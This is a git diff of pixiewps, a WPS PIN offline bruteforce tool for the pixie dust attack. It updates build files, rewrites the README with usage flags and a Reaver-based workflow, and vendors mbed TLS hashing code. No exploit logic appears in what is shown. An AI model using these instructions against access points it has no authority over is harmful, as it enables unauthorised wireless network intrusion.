diff --git a/Android.mk b/Android.mk new file mode 100644 index 0000000..6b31e5d --- /dev/null +++ b/Android.mk @@ -0,0 +1,9 @@ +LOCAL_PATH:=$(call my-dir)/src +include $(CLEAR_VARS) + +LOCAL_CFLAGS:=-std=c99 -O3 + +LOCAL_MODULE:=pixiewps +LOCAL_SRC_FILES:=pixiewps.c random_r.c crypto/sha256.c crypto/md.c crypto/md_wrap.c + +include $(BUILD_EXECUTABLE) diff --git a/Makefile b/Makefile index c1986f9..98413d7 100644 --- a/Makefile +++ b/Makefile @@ -11,7 +11,6 @@ define Package/pixiewps CATEGORY:=Network SUBMENU:=wireless TITLE:=An offline WPS bruteforce utility - DEPENDS:=+libopenssl URL:=https://github.com/wiire/pixiewps endef diff --git a/README.md b/README.md index ed506ce..b4b1018 100644 --- a/README.md +++ b/README.md @@ -1,51 +1,70 @@ -# OVERVIEW [![License](https://img.shields.io/badge/License-GPL%20v3%2B-blue.svg)] (https://github.com/wiire/pixiewps/blob/master/LICENSE.md) +# Overview [![License](https://img.shields.io/badge/License-GPL%20v3-blue.svg)] (https://github.com/wiire/pixiewps/blob/master/LICENSE.md) -Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some APs (pixie dust attack). It is meant for educational purposes only. All credits for the research go to Dominique Bongard. +**Pixiewps** is a tool written in C used to **bruteforce offline** the WPS pin exploiting the low or non-existing entropy of some APs (pixie dust attack). It is meant for educational purposes only. -# DEPENDENCIES +- - - -Pixiewps requires libssl. To install it: +# Requirements -``` - sudo apt-get install libssl-dev +Prior versions of 1.2 require [libssl-dev](https://www.openssl.org/). + +- - - + +# Setup + +**Download** + +`git clone https://github.com/wiire/pixiewps` + +or + +`wget https://github.com/wiire/pixiewps/archive/master.zip && unzip master.zip` + +**Build** + +```bash +cd pixiewps*/ +cd src/ +make ``` -# INSTALLATION +**Install** -Pixiewps can be built and installed by running: +`sudo make install` + +- - - + +# Usage ``` - ~/pixiewps$ cd src - ~/pixiewps/src$ make - ~/pixiewps/src$ sudo make install +Usage: pixiewps + +Required Arguments: + + -e, --pke : Enrollee public key + -r, --pkr : Registrar public key + -s, --e-hash1 : Enrollee hash 1 + -z, --e-hash2 : Enrollee hash 2 + -a, --authkey : Authentication session key + -n, --e-nonce : Enrollee nonce + +Optional Arguments: + + -m, --r-nonce : Registrar nonce + -b, --e-bssid : Enrollee BSSID + -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] + -v, --verbosity : Verbosity level 1-3, 1 is quietest [3] + + -h : Display this usage screen + --help : Verbose help and more usage examples + -V, --version : Display version + + --mode N[,... N] : Mode selection, comma separated [Auto] + --start [mm/]yyyy : Starting date (only mode 3) [Current time] + --end [mm/]yyyy : Ending date (only mode 3) [-3 days] ``` -# USAGE - -``` - Usage: pixiewps - - Required Arguments: - - -e, --pke : Enrollee public key - -r, --pkr : Registrar public key - -s, --e-hash1 : Enrollee Hash1 - -z, --e-hash2 : Enrollee Hash2 - -a, --authkey : Authentication session key - - Optional Arguments: - - -n, --e-nonce : Enrollee nonce - -m, --r-nonce : Registrar nonce - -b, --e-bssid : Enrollee BSSID - -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] - -f, --force : Bruteforce the whole keyspace [No] - -v, --verbosity : Verbosity level 1-3, 1 is quietest [3] - - -h, --help : Display this usage screen -``` - -# USAGE EXAMPLE +# Usage example A common usage example is: @@ -53,68 +72,4 @@ A common usage example is: pixiewps --pke --pkr --e-hash1 --e-hash2 --authkey --e-nonce ``` -which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x). - -If the following message is shown: - -> [!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data. - -then the AP might be vulnerable and Pixiewps should be run again with the same set of data along with the option `--force` or alternatively with a newer set of data. - -# DESCRIPTION OF ARGUMENTS - -``` - -e, --pke - - Enrollee's DH public key, found in M1. - - -r, --pkr - - Registrar's DH public key, found in M2 or can be avoided by specifying - --dh-small in both Reaver and Pixiewps. - - -s, --e-hash1 - - Enrollee Hash-1, found in M3. - - -z, --e-hash2 - - Enrollee Hash-2, found in M3. - - -a, --authkey - - Registration Protocol authentication session key. Although for this parameter a - modified version of Reaver or Bully is needed, it can be avoided by specifying - small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce, - --r-nonce and --e-bssid. - - -n, --e-nonce - - Enrollee's nonce, found in M1. - - -m, --r-nonce - - Registrar's nonce, found in M2. - - -b, --e-bssid - - Enrollee's BSSID. - - -S, --dh-small - - Small Diffie-Hellman keys. The same option MUST be specified in Reaver - (1.3 or later versions) too. This option should be avoided when possible. - - -f, --force - - Force Pixiewps to bruteforce the whole keyspace (only for one type of PRNG). - It could take up to several minutes to complete. - - -v, --verbosity - - Verbosity level (1-3). Level 3 displays the most information. - - -h, --help - - Display usage screen. -``` +which requires a modified version of Reaver or Bully which prints *AuthKey*. The recommended version is [reaver-wps-fork-t6x](https://github.com/t6x/reaver-wps-fork-t6x). \ No newline at end of file diff --git a/include/features.h b/include/features.h deleted file mode 100644 index 95e6e46..0000000 --- a/include/features.h +++ /dev/null @@ -1,306 +0,0 @@ -/* Copyright (C) 1991,1992,1993,1995-2006,2007 Free Software Foundation, Inc. - This file is part of the GNU C Library. - The GNU C Library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - The GNU C Library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - You should have received a copy of the GNU Lesser General Public - License along with the GNU C Library; if not, write to the Free - Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA - 02111-1307 USA. */ -#ifndef _FEATURES_H -#define _FEATURES_H 1 -/* These are defined by the user (or the compiler) - to specify the desired environment: - __STRICT_ANSI__ ISO Standard C. - _ISOC99_SOURCE Extensions to ISO C89 from ISO C99. - _POSIX_SOURCE IEEE Std 1003.1. - _POSIX_C_SOURCE If ==1, like _POSIX_SOURCE; if >=2 add IEEE Std 1003.2; - if >=199309L, add IEEE Std 1003.1b-1993; - if >=199506L, add IEEE Std 1003.1c-1995; - if >=200112L, all of IEEE 1003.1-2004 - _XOPEN_SOURCE Includes POSIX and XPG things. Set to 500 if - Single Unix conformance is wanted, to 600 for the - upcoming sixth revision. - _XOPEN_SOURCE_EXTENDED XPG things and X/Open Unix extensions. - _LARGEFILE_SOURCE Some more functions for correct standard I/O. - _LARGEFILE64_SOURCE Additional functionality from LFS for large files. - _FILE_OFFSET_BITS=N Select default filesystem interface. - _BSD_SOURCE ISO C, POSIX, and 4.3BSD things. - _SVID_SOURCE ISO C, POSIX, and SVID things. - _ATFILE_SOURCE Additional *at interfaces. - _GNU_SOURCE All of the above, plus GNU extensions. - _REENTRANT Select additionally reentrant object. - _THREAD_SAFE Same as _REENTRANT, often used by other systems. - _FORTIFY_SOURCE If set to numeric value > 0 additional security - measures are defined, according to level. - The `-ansi' switch to the GNU C compiler defines __STRICT_ANSI__. - If none of these are defined, the default is to have _SVID_SOURCE, - _BSD_SOURCE, and _POSIX_SOURCE set to one and _POSIX_C_SOURCE set to - 200112L. If more than one of these are defined, they accumulate. - For example __STRICT_ANSI__, _POSIX_SOURCE and _POSIX_C_SOURCE - together give you ISO C, 1003.1, and 1003.2, but nothing else. - These are defined by this file and are used by the - header files to decide what to declare or define: - __USE_ISOC99 Define ISO C99 things. - __USE_ISOC95 Define ISO C90 AMD1 (C95) things. - __USE_POSIX Define IEEE Std 1003.1 things. - __USE_POSIX2 Define IEEE Std 1003.2 things. - __USE_POSIX199309 Define IEEE Std 1003.1, and .1b things. - __USE_POSIX199506 Define IEEE Std 1003.1, .1b, .1c and .1i things. - __USE_XOPEN Define XPG things. - __USE_XOPEN_EXTENDED Define X/Open Unix things. - __USE_UNIX98 Define Single Unix V2 things. - __USE_XOPEN2K Define XPG6 things. - __USE_LARGEFILE Define correct standard I/O things. - __USE_LARGEFILE64 Define LFS things with separate names. - __USE_FILE_OFFSET64 Define 64bit interface as default. - __USE_BSD Define 4.3BSD things. - __USE_SVID Define SVID things. - __USE_MISC Define things common to BSD and System V Unix. - __USE_ATFILE Define *at interfaces and AT_* constants for them. - __USE_GNU Define GNU extensions. - __USE_REENTRANT Define reentrant/thread-safe *_r functions. - __USE_FORTIFY_LEVEL Additional security measures used, according to level. - __FAVOR_BSD Favor 4.3BSD things in cases of conflict. - The macros `__GNU_LIBRARY__', `__GLIBC__', and `__GLIBC_MINOR__' are - defined by this file unconditionally. `__GNU_LIBRARY__' is provided - only for compatibility. All new code should use the other symbols - to test for features. - All macros listed above as possibly being defined by this file are - explicitly undefined if they are not explicitly defined. - Feature-test macros that are not defined by the user or compiler - but are implied by the other feature-test macros defined (or by the - lack of any definitions) are defined by the file. */ -/* Undefine everything, so we get a clean slate. */ -#undef __USE_ISOC99 -#undef __USE_ISOC95 -#undef __USE_POSIX -#undef __USE_POSIX2 -#undef __USE_POSIX199309 -#undef __USE_POSIX199506 -#undef __USE_XOPEN -#undef __USE_XOPEN_EXTENDED -#undef __USE_UNIX98 -#undef __USE_XOPEN2K -#undef __USE_LARGEFILE -#undef __USE_LARGEFILE64 -#undef __USE_FILE_OFFSET64 -#undef __USE_BSD -#undef __USE_SVID -#undef __USE_MISC -#undef __USE_ATFILE -#undef __USE_GNU -#undef __USE_REENTRANT -#undef __USE_FORTIFY_LEVEL -#undef __FAVOR_BSD -#undef __KERNEL_STRICT_NAMES -/* Suppress kernel-name space pollution unless user expressedly asks - for it. */ -#ifndef _LOOSE_KERNEL_NAMES -# define __KERNEL_STRICT_NAMES -#endif -/* Always use ISO C things. */ -#define __USE_ANSI 1 -/* Convenience macros to test the versions of glibc and gcc. - Use them like this: - #if __GNUC_PREREQ (2,8) - ... code requiring gcc 2.8 or later ... - #endif - Note - they won't work for gcc1 or glibc1, since the _MINOR macros - were not defined then. */ -#if defined __GNUC__ && defined __GNUC_MINOR__ -# define __GNUC_PREREQ(maj, min) \ - ((__GNUC__ << 16) + __GNUC_MINOR__ >= ((maj) << 16) + (min)) -#else -# define __GNUC_PREREQ(maj, min) 0 -#endif -/* If _BSD_SOURCE was defined by the user, favor BSD over POSIX. */ -#if defined _BSD_SOURCE && \ - !(defined _POSIX_SOURCE || defined _POSIX_C_SOURCE || \ - defined _XOPEN_SOURCE || defined _XOPEN_SOURCE_EXTENDED || \ - defined _GNU_SOURCE || defined _SVID_SOURCE) -# define __FAVOR_BSD 1 -#endif -/* If _GNU_SOURCE was defined by the user, turn on all the other features. */ -#ifdef _GNU_SOURCE -# undef _ISOC99_SOURCE -# define _ISOC99_SOURCE 1 -# undef _POSIX_SOURCE -# define _POSIX_SOURCE 1 -# undef _POSIX_C_SOURCE -# define _POSIX_C_SOURCE 200112L -# undef _XOPEN_SOURCE -# define _XOPEN_SOURCE 600 -# undef _XOPEN_SOURCE_EXTENDED -# define _XOPEN_SOURCE_EXTENDED 1 -# undef _LARGEFILE64_SOURCE -# define _LARGEFILE64_SOURCE 1 -# undef _BSD_SOURCE -# define _BSD_SOURCE 1 -# undef _SVID_SOURCE -# define _SVID_SOURCE 1 -# undef _ATFILE_SOURCE -# define _ATFILE_SOURCE 1 -#endif -/* If nothing (other than _GNU_SOURCE) is defined, - define _BSD_SOURCE and _SVID_SOURCE. */ -#if (!defined __STRICT_ANSI__ && !defined _ISOC99_SOURCE && \ - !defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE && \ - !defined _XOPEN_SOURCE && !defined _XOPEN_SOURCE_EXTENDED && \ - !defined _BSD_SOURCE && !defined _SVID_SOURCE) -# define _BSD_SOURCE 1 -# define _SVID_SOURCE 1 -#endif -/* This is to enable the ISO C99 extension. Also recognize the old macro - which was used prior to the standard acceptance. This macro will - eventually go away and the features enabled by default once the ISO C99 - standard is widely adopted. */ -#if (defined _ISOC99_SOURCE || defined _ISOC9X_SOURCE \ - || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L)) -# define __USE_ISOC99 1 -#endif -/* This is to enable the ISO C90 Amendment 1:1995 extension. */ -#if (defined _ISOC99_SOURCE || defined _ISOC9X_SOURCE \ - || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199409L)) -# define __USE_ISOC95 1 -#endif -/* If none of the ANSI/POSIX macros are defined, use POSIX.1 and POSIX.2 - (and IEEE Std 1003.1b-1993 unless _XOPEN_SOURCE is defined). */ -#if ((!defined __STRICT_ANSI__ || (_XOPEN_SOURCE - 0) >= 500) && \ - !defined _POSIX_SOURCE && !defined _POSIX_C_SOURCE) -# define _POSIX_SOURCE 1 -# if defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 500 -# define _POSIX_C_SOURCE 2 -# elif defined _XOPEN_SOURCE && (_XOPEN_SOURCE - 0) < 600 -# define _POSIX_C_SOURCE 199506L -# else -# define _POSIX_C_SOURCE 200112L -# endif -#endif -#if defined _POSIX_SOURCE || _POSIX_C_SOURCE >= 1 || defined _XOPEN_SOURCE -# define __USE_POSIX 1 -#endif -#if defined _POSIX_C_SOURCE && _POSIX_C_SOURCE >= 2 || defined _XOPEN_SOURCE -# define __USE_POSIX2 1 -#endif -#if (_POSIX_C_SOURCE - 0) >= 199309L -# define __USE_POSIX199309 1 -#endif -#if (_POSIX_C_SOURCE - 0) >= 199506L -# define __USE_POSIX199506 1 -#endif -#if (_POSIX_C_SOURCE - 0) >= 200112L -# define __USE_XOPEN2K 1 -#endif -#ifdef _XOPEN_SOURCE -# define __USE_XOPEN 1 -# if (_XOPEN_SOURCE - 0) >= 500 -# define __USE_XOPEN_EXTENDED 1 -# define __USE_UNIX98 1 -# undef _LARGEFILE_SOURCE -# define _LARGEFILE_SOURCE 1 -# if (_XOPEN_SOURCE - 0) >= 600 -# define __USE_XOPEN2K 1 -# undef __USE_ISOC99 -# define __USE_ISOC99 1 -# endif -# else -# ifdef _XOPEN_SOURCE_EXTENDED -# define __USE_XOPEN_EXTENDED 1 -# endif -# endif -#endif -#ifdef _LARGEFILE_SOURCE -# define __USE_LARGEFILE 1 -#endif -#ifdef _LARGEFILE64_SOURCE -# define __USE_LARGEFILE64 1 -#endif -#if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 -# define __USE_FILE_OFFSET64 1 -#endif -#if defined _BSD_SOURCE || defined _SVID_SOURCE -# define __USE_MISC 1 -#endif -#ifdef _BSD_SOURCE -# define __USE_BSD 1 -#endif -#ifdef _SVID_SOURCE -# define __USE_SVID 1 -#endif -#ifdef _ATFILE_SOURCE -# define __USE_ATFILE 1 -#endif -#ifdef _GNU_SOURCE -# define __USE_GNU 1 -#endif -#if defined _REENTRANT || defined _THREAD_SAFE -# define __USE_REENTRANT 1 -#endif -#if defined _FORTIFY_SOURCE && _FORTIFY_SOURCE > 0 \ - && __GNUC_PREREQ (4, 1) && defined __OPTIMIZE__ && __OPTIMIZE__ > 0 -# if _FORTIFY_SOURCE > 1 -# define __USE_FORTIFY_LEVEL 2 -# else -# define __USE_FORTIFY_LEVEL 1 -# endif -#else -# define __USE_FORTIFY_LEVEL 0 -#endif -/* We do support the IEC 559 math functionality, real and complex. */ -#define __STDC_IEC_559__ 1 -#define __STDC_IEC_559_COMPLEX__ 1 -/* wchar_t uses ISO 10646-1 (2nd ed., published 2000-09-15) / Unicode 3.1. */ -#define __STDC_ISO_10646__ 200009L -/* This macro indicates that the installed library is the GNU C Library. - For historic reasons the value now is 6 and this will stay from now - on. The use of this variable is deprecated. Use __GLIBC__ and - __GLIBC_MINOR__ now (see below) when you want to test for a specific - GNU C library version and use the values in to get - the sonames of the shared libraries. */ -#undef __GNU_LIBRARY__ -#define __GNU_LIBRARY__ 6 -/* Major and minor version number of the GNU C library package. Use - these macros to test for features in specific releases. */ -#define __GLIBC__ 2 -#define __GLIBC_MINOR__ 7 -#define __GLIBC_PREREQ(maj, min) \ - ((__GLIBC__ << 16) + __GLIBC_MINOR__ >= ((maj) << 16) + (min)) -/* Decide whether a compiler supports the long long datatypes. */ -#if defined __GNUC__ \ - || (defined __PGI && defined __i386__ ) \ - || (defined __INTEL_COMPILER && (defined __i386__ || defined __ia64__)) \ - || (defined __STDC_VERSION__ && __STDC_VERSION__ >= 199901L) -# define __GLIBC_HAVE_LONG_LONG 1 -#endif -/* This is here only because every header file already includes this one. */ -#ifndef __ASSEMBLER__ -# ifndef _SYS_CDEFS_H -# include -# endif -/* If we don't have __REDIRECT, prototypes will be missing if - __USE_FILE_OFFSET64 but not __USE_LARGEFILE[64]. */ -# if defined __USE_FILE_OFFSET64 && !defined __REDIRECT -# define __USE_LARGEFILE 1 -# define __USE_LARGEFILE64 1 -# endif -#endif /* !ASSEMBLER */ -/* Decide whether we can define 'extern inline' functions in headers. */ -#if __GNUC_PREREQ (2, 7) && defined __OPTIMIZE__ \ - && !defined __OPTIMIZE_SIZE__ && !defined __NO_INLINE__ \ - && defined __extern_inline -# define __USE_EXTERN_INLINES 1 -#endif -/* This is here only because every header file already includes this one. - Get the definitions of all the appropriate `__stub_FUNCTION' symbols. - contains `#define __stub_FUNCTION' when FUNCTION is a stub - that will always return failure (and set errno to ENOSYS). */ -#ifndef __MACH__ -#include -#endif -#endif /* features.h */ diff --git a/src/Makefile b/src/Makefile index 87fa701..1c3cc83 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,14 +1,17 @@ -CCFLAGS = -std=c99 -O3 -Wno-deprecated-declarations -LDFLAGS = -lcrypto +CCFLAGS = -std=c99 -O3 -Wall TARGET = pixiewps -SOURCE = $(TARGET).c random_r.c +CRYPTO = crypto/sha256.c crypto/md.c crypto/md_wrap.c +SOURCE = $(TARGET).c random_r.c $(CRYPTO) PREFIX = $(DESTDIR)/usr BINDIR = $(PREFIX)/bin OLDDIR = $(PREFIX)/local/bin all: - $(CC) $(CCFLAGS) -o $(TARGET) $(SOURCE) $(LDFLAGS) + $(CC) $(CCFLAGS) -o $(TARGET) $(SOURCE) + +debug: + $(CC) $(CCFLAGS) -DDEBUG -o $(TARGET) $(SOURCE) install: rm -f $(OLDDIR)/$(TARGET) diff --git a/src/config.h b/src/config.h new file mode 100644 index 0000000..d23072b --- /dev/null +++ b/src/config.h @@ -0,0 +1,39 @@ +/* + * Pixiewps: bruteforce the wps pin exploiting the low or non-existing entropy of some APs (pixie dust attack). + * All credits for the research go to Dominique Bongard. + * + * Copyright (c) 2015, wiire + * SPDX-License-Identifier: GPL-3.0 + * + * This program is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program. If not, see . + */ +#ifndef CONFIG_H +#define CONFIG_H + +#if __STDC_VERSION__ < 199901L +# define inline static +#endif + +#include + +typedef unsigned char uint8_t; + +#include "crypto/md_internal.h" +#include "crypto/sha256.h" + +#define sha256(i, l, d) mbedtls_sha256(i, l, d, 0) +#define hmac_sha256(k, l, i, n, o) \ + mbedtls_md_hmac(mbedtls_md_info_from_type(MBEDTLS_MD_SHA256), k, l, i, n, o) + +#endif /* CONFIG_H */ diff --git a/src/crypto/md.c b/src/crypto/md.c new file mode 100644 index 0000000..940ba82 --- /dev/null +++ b/src/crypto/md.c @@ -0,0 +1,369 @@ +/** + * \file mbedtls_md.c + * + * \brief Generic message digest wrapper for mbed TLS + * + * \author Adriaan de Jong + * + * Copyright (C) 2006-2015, ARM Limited, All Rights Reserved + * SPDX-License-Identifier: Apache-2.0 + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may + * not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT + * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + * + * This file is part of mbed TLS (https://tls.mbed.org) + */ + +#include +#include + +#include "md.h" +#include "md_internal.h" + +#define mbedtls_calloc calloc +#define mbedtls_free free + +/* Implementation that should never be optimized out by the compiler */ +static void mbedtls_zeroize( void *v, size_t n ) { + volatile unsigned char *p = v; while( n-- ) *p++ = 0; +} + +/* + * Reminder: update profiles in x509_crt.c when adding a new hash! + */ +static const int supported_digests[] = { + MBEDTLS_MD_SHA256, + MBEDTLS_MD_SHA224, + MBEDTLS_MD_NONE +}; + +const int *mbedtls_md_list( void ) +{ + return( supported_digests ); +} + +const mbedtls_md_info_t *mbedtls_md_info_from_string( const char *md_name ) +{ + if( NULL == md_name ) + return( NULL ); + + /* Get the appropriate digest information */ + if( !strcmp( "SHA224", md_name ) ) + return mbedtls_md_info_from_type( MBEDTLS_MD_SHA224 ); + if( !strcmp( "SHA256", md_name ) ) + return mbedtls_md_info_from_type( MBEDTLS_MD_SHA256 ); + + return( NULL ); +} + +const mbedtls_md_info_t *mbedtls_md_info_from_type( mbedtls_md_type_t md_type ) +{ + switch( md_type ) + { + case MBEDTLS_MD_SHA224: + return( &mbedtls_sha224_info ); + case MBEDTLS_MD_SHA256: + return( &mbedtls_sha256_info ); + default: + return( NULL ); + } +} + +void mbedtls_md_init( mbedtls_md_context_t *ctx ) +{ + memset( ctx, 0, sizeof( mbedtls_md_context_t ) ); +} + +void mbedtls_md_free( mbedtls_md_context_t *ctx ) +{ + if( ctx == NULL || ctx->md_info == NULL ) + return; + + if( ctx->md_ctx != NULL ) + ctx->md_info->ctx_free_func( ctx->md_ctx ); + + if( ctx->hmac_ctx != NULL ) + { + mbedtls_zeroize( ctx->hmac_ctx, 2 * ctx->md_info->block_size ); + mbedtls_free( ctx->hmac_ctx ); + } + + mbedtls_zeroize( ctx, sizeof( mbedtls_md_context_t ) ); +} + +int mbedtls_md_clone( mbedtls_md_context_t *dst, + const mbedtls_md_context_t *src ) +{ + if( dst == NULL || dst->md_info == NULL || + src == NULL || src->md_info == NULL || + dst->md_info != src->md_info ) + { + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + } + + dst->md_info->clone_func( dst->md_ctx, src->md_ctx ); + + return( 0 ); +} + +#if ! defined(MBEDTLS_DEPRECATED_REMOVED) +int mbedtls_md_init_ctx( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info ) +{ + return mbedtls_md_setup( ctx, md_info, 1 ); +} +#endif + +int mbedtls_md_setup( mbedtls_md_context_t *ctx, const mbedtls_md_info_t *md_info, int hmac ) +{ + if( md_info == NULL || ctx == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + if( ( ctx->md_ctx = md_info->ctx_alloc_func() ) == NULL ) + return( MBEDTLS_ERR_MD_ALLOC_FAILED ); + + if( hmac != 0 ) + { + ctx->hmac_ctx = mbedtls_calloc( 2, md_info->block_size ); + if( ctx->hmac_ctx == NULL ) + { + md_info->ctx_free_func( ctx->md_ctx ); + return( MBEDTLS_ERR_MD_ALLOC_FAILED ); + } + } + + ctx->md_info = md_info; + + return( 0 ); +} + +int mbedtls_md_starts( mbedtls_md_context_t *ctx ) +{ + if( ctx == NULL || ctx->md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ctx->md_info->starts_func( ctx->md_ctx ); + + return( 0 ); +} + +int mbedtls_md_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ) +{ + if( ctx == NULL || ctx->md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ctx->md_info->update_func( ctx->md_ctx, input, ilen ); + + return( 0 ); +} + +int mbedtls_md_finish( mbedtls_md_context_t *ctx, unsigned char *output ) +{ + if( ctx == NULL || ctx->md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ctx->md_info->finish_func( ctx->md_ctx, output ); + + return( 0 ); +} + +int mbedtls_md( const mbedtls_md_info_t *md_info, const unsigned char *input, size_t ilen, + unsigned char *output ) +{ + if( md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + md_info->digest_func( input, ilen, output ); + + return( 0 ); +} + +#if defined(MBEDTLS_FS_IO) +int mbedtls_md_file( const mbedtls_md_info_t *md_info, const char *path, unsigned char *output ) +{ + int ret; + FILE *f; + size_t n; + mbedtls_md_context_t ctx; + unsigned char buf[1024]; + + if( md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + if( ( f = fopen( path, "rb" ) ) == NULL ) + return( MBEDTLS_ERR_MD_FILE_IO_ERROR ); + + mbedtls_md_init( &ctx ); + + if( ( ret = mbedtls_md_setup( &ctx, md_info, 0 ) ) != 0 ) + goto cleanup; + + md_info->starts_func( ctx.md_ctx ); + + while( ( n = fread( buf, 1, sizeof( buf ), f ) ) > 0 ) + md_info->update_func( ctx.md_ctx, buf, n ); + + if( ferror( f ) != 0 ) + { + ret = MBEDTLS_ERR_MD_FILE_IO_ERROR; + goto cleanup; + } + + md_info->finish_func( ctx.md_ctx, output ); + +cleanup: + fclose( f ); + mbedtls_md_free( &ctx ); + + return( ret ); +} +#endif /* MBEDTLS_FS_IO */ + +int mbedtls_md_hmac_starts( mbedtls_md_context_t *ctx, const unsigned char *key, size_t keylen ) +{ + unsigned char sum[MBEDTLS_MD_MAX_SIZE]; + unsigned char *ipad, *opad; + size_t i; + + if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + if( keylen > (size_t) ctx->md_info->block_size ) + { + ctx->md_info->starts_func( ctx->md_ctx ); + ctx->md_info->update_func( ctx->md_ctx, key, keylen ); + ctx->md_info->finish_func( ctx->md_ctx, sum ); + + keylen = ctx->md_info->size; + key = sum; + } + + ipad = (unsigned char *) ctx->hmac_ctx; + opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size; + + memset( ipad, 0x36, ctx->md_info->block_size ); + memset( opad, 0x5C, ctx->md_info->block_size ); + + for( i = 0; i < keylen; i++ ) + { + ipad[i] = (unsigned char)( ipad[i] ^ key[i] ); + opad[i] = (unsigned char)( opad[i] ^ key[i] ); + } + + mbedtls_zeroize( sum, sizeof( sum ) ); + + ctx->md_info->starts_func( ctx->md_ctx ); + ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size ); + + return( 0 ); +} + +int mbedtls_md_hmac_update( mbedtls_md_context_t *ctx, const unsigned char *input, size_t ilen ) +{ + if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ctx->md_info->update_func( ctx->md_ctx, input, ilen ); + + return( 0 ); +} + +int mbedtls_md_hmac_finish( mbedtls_md_context_t *ctx, unsigned char *output ) +{ + unsigned char tmp[MBEDTLS_MD_MAX_SIZE]; + unsigned char *opad; + + if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + opad = (unsigned char *) ctx->hmac_ctx + ctx->md_info->block_size; + + ctx->md_info->finish_func( ctx->md_ctx, tmp ); + ctx->md_info->starts_func( ctx->md_ctx ); + ctx->md_info->update_func( ctx->md_ctx, opad, ctx->md_info->block_size ); + ctx->md_info->update_func( ctx->md_ctx, tmp, ctx->md_info->size ); + ctx->md_info->finish_func( ctx->md_ctx, output ); + + return( 0 ); +} + +int mbedtls_md_hmac_reset( mbedtls_md_context_t *ctx ) +{ + unsigned char *ipad; + + if( ctx == NULL || ctx->md_info == NULL || ctx->hmac_ctx == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ipad = (unsigned char *) ctx->hmac_ctx; + + ctx->md_info->starts_func( ctx->md_ctx ); + ctx->md_info->update_func( ctx->md_ctx, ipad, ctx->md_info->block_size ); + + return( 0 ); +} + +int mbedtls_md_hmac( const mbedtls_md_info_t *md_info, const unsigned char *key, size_t keylen, + const unsigned char *input, size_t ilen, + unsigned char *output ) +{ + mbedtls_md_context_t ctx; + int ret; + + if( md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + mbedtls_md_init( &ctx ); + + if( ( ret = mbedtls_md_setup( &ctx, md_info, 1 ) ) != 0 ) + return( ret ); + + mbedtls_md_hmac_starts( &ctx, key, keylen ); + mbedtls_md_hmac_update( &ctx, input, ilen ); + mbedtls_md_hmac_finish( &ctx, output ); + + mbedtls_md_free( &ctx ); + + return( 0 ); +} + +int mbedtls_md_process( mbedtls_md_context_t *ctx, const unsigned char *data ) +{ + if( ctx == NULL || ctx->md_info == NULL ) + return( MBEDTLS_ERR_MD_BAD_INPUT_DATA ); + + ctx->md_info->process_func( ctx->md_ctx, data ); + + return( 0 ); +} + +unsigned char mbedtls_md_get_size( const mbedtls_md_info_t *md_info ) +{ + if( md_info == NULL ) + return( 0 ); + + return md_info->size; +} + +mbedtls_md_type_t mbedtls_md_get_type( const mbedtls_md_info_t *md_info ) +{ + if( md_info == NULL ) + return( MBEDTLS_MD_NONE ); + + return md_info->type; +} + +const char *mbedtls_md_get_name( const mbedtls_md_info_t *md_info ) +{ + if( md_info == NULL ) + return( NULL ); + + return md_info->name; +} diff --git a/src/crypto/md.h b/src/crypto/md.h new file mode 100644 index 0000000..b420308 --- /dev/null +++ b/src/crypto/md.h @@ -0,0 +1,334 @@ +/** + * \file mbedtls_md.h 